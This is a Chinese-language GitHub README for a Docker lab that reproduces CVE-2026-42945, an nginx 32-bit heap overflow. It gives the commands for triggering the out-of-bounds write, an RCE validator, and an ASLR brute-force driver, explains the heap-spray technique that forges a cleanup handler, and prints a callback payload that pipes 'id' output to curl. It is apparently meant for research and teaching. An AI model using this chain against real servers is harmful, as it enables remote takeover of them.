dinosn/cve-2026-42945-nginx32-lab
GitHub: dinosn/cve-2026-42945-nginx32-lab
针对 CVE-2026-42945 nginx 32 位漏洞的可复现 Docker 实验室,涵盖从堆越界写入原语到远程代码执行完整利用链的研究环境。
Stars: 0 | Forks: 0
# CVE-2026-42945 nginx 32 位漏洞利用实验室
本仓库是一个可复现的 Docker 实验室,用于在
nginx 1.30.0 中研究 CVE-2026-42945。它包含一个存在漏洞的 32 位目标、一个基础原语触发器、
一个基于已知地址的实验室辅助 RCE 验证器,以及一个无内省的暴力破解驱动程序。
漏洞证明的边界很重要:
- `exploit/trigger_oob.py` 演示了堆 OOB(越界)写入原语。
- `exploit/lab_known_address.py` 在 Docker 中证明了 RCE 机制,但它是
实验室辅助的,因为它通过 `docker exec` 读取了 `/proc//maps`。
- `exploit/remote_bruteforce.py` 不使用 SSH、Docker、`/proc`、ptrace 或
已知地址。它暴力枚举 SAFE 堆页和 libc 页候选项,并将
出站回调作为唯一的成功信号。
远程暴力破解路径仍然依赖于当前的 nginx master ASLR
布局。如果内存喷射地址无法由所需的 URI 安全字节
字母表表示,则一轮完整的遍历将会失败,直到 nginx 主进程被重启或
重新加载且 ASLR 被重新分配为止。与已知地址验证器一样,完整的 RCE
路径应当在原生的 x86 Linux Docker 主机上运行,而不是在 QEMU 模拟的
Docker Desktop 目标上运行。
## 环境要求
- 带有 Compose 支持的 Docker。
- Linux/386 容器支持。
- 对于完整的已知地址 RCE 验证器,请使用原生的 x86 Linux Docker 主机,
在该主机上 `/proc//maps` 会暴露 nginx worker 真实的 32 位地址
布局。非 x86 主机上的 Docker Desktop 可能会在 `qemu-i386` 下运行目标;
这足以验证 OOB 崩溃,但无法进行已知地址的 RCE 数学计算。
- 主机上需要安装 Python 3 以运行漏洞利用脚本。
## 快速开始
构建并启动存在漏洞的 32 位 nginx 实验室:
```
docker compose up -d --build
curl http://127.0.0.1:19331/
```
触发受控的 OOB 写入:
```
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
```
运行确定性的 Docker 专用 RCE 验证器:
```
python3 exploit/lab_known_address.py --restart-until-safe
```
运行无内省的暴力破解驱动程序:
```
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
```
`host.docker.internal` 被用作回调主机,因此嵌入在
nginx worker 中的命令可以将 `id` 的输出 POST 回由
漏洞利用脚本启动的监听器。Compose 文件为 Linux Docker 引擎映射了此名称。
## 漏洞利用演练
### 1. 构建并启动实验室

Compose 目标将 nginx 1.30.0 构建为 32 位发布版风格的二进制文件,并
在 `127.0.0.1:19331` 上启动它。一个普通的 `GET /` 请求会返回 `ok`,从而证明在
漏洞利用开始之前目标是可达的。
### 2. 触发 OOB 写入

触发器通过存在漏洞的 `rewrite` 加上 `set $myvar $1` 路径,发送一个由 `+` 字节组成的被捕获的 URI 片段。`+` 会被 `NGX_ESCAPE_ARGS` 转义,
因此拷贝过程会为每个一字节的输入写入三个字节。
脚本在发送请求之前会打印预期的溢出大小。
### 3. 在实验室辅助下验证 RCE

已知地址验证器是有意提供辅助的。它从 Docker 容器中读取活跃的 worker
堆和 libc 映射,计算出伪造的 cleanup 处理程序地址,发送相同的传输层漏洞利用序列,并等待
回调。`uid=65534(nobody)` 的输出是 nginx worker 执行 `id` 的结果。
此截图来自原生的 x86 Docker 运行环境;在非 x86 的 Docker Desktop
设置中,脚本可能会停止,并提示需要 `qemu-i386` 原生主机环境。
### 4. 运行纯远程的暴力破解路径

远程暴力破解脚本移除了仅限实验室环境的地址读取操作。它枚举
SAFE 堆页候选项和 libc 页候选项,并仅将回调
用作成功的判断依据。如果在没有收到回调的情况下结束了一轮完整遍历,这并不能推翻
原语的可用性;这通常意味着当前的 nginx 主进程布局对
此负载字母表不利,或者需要通过主进程重启/重新加载来
重新分配 ASLR。
## RCE 序列的工作原理
该漏洞利用使用了三个并发的请求角色:
1. `/spray` 保持请求体分配处于活动状态,并在 nginx worker 堆
内存中放置一个伪造的 `ngx_pool_cleanup_t` 记录以及回调命令。
2. `/api/` 到达存在漏洞的 rewrite 脚本,并延迟最终的
请求终止符,直到受害请求准备就绪。
3. `/` 创建相邻的请求池,其 `cleanup` 指针是
受控 OOB 写入的目标。
当被破坏的请求池被销毁时,nginx 会跟随被覆盖的
cleanup 指针。在实验室的 RCE 路径中,伪造的 cleanup 处理程序指向
`system()`,其数据指针指向:
```
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
```
漏洞利用监听器将该 POST 视为唯一的 RCE 成功信号。
## 清理
```
docker compose down
```
## 安全提示
本实验室仅用于授权的安全验证和教育目的。请将其隔离运行,
不要将实验室端口暴露给不受信任的网络,也不要对您不拥有或
没有明确测试权限的系统运行该漏洞利用。
标签:32位漏洞, ASLR绕过, CISA项目, CVE复现, Docker靶场, Nginx漏洞, PoC, Python PoC, RCE验证, x86安全, 内存安全, 堆喷射, 堆越界写, 安全实验, 情报收集, 数据展示, 暴力破解, 漏洞研究, 红队, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护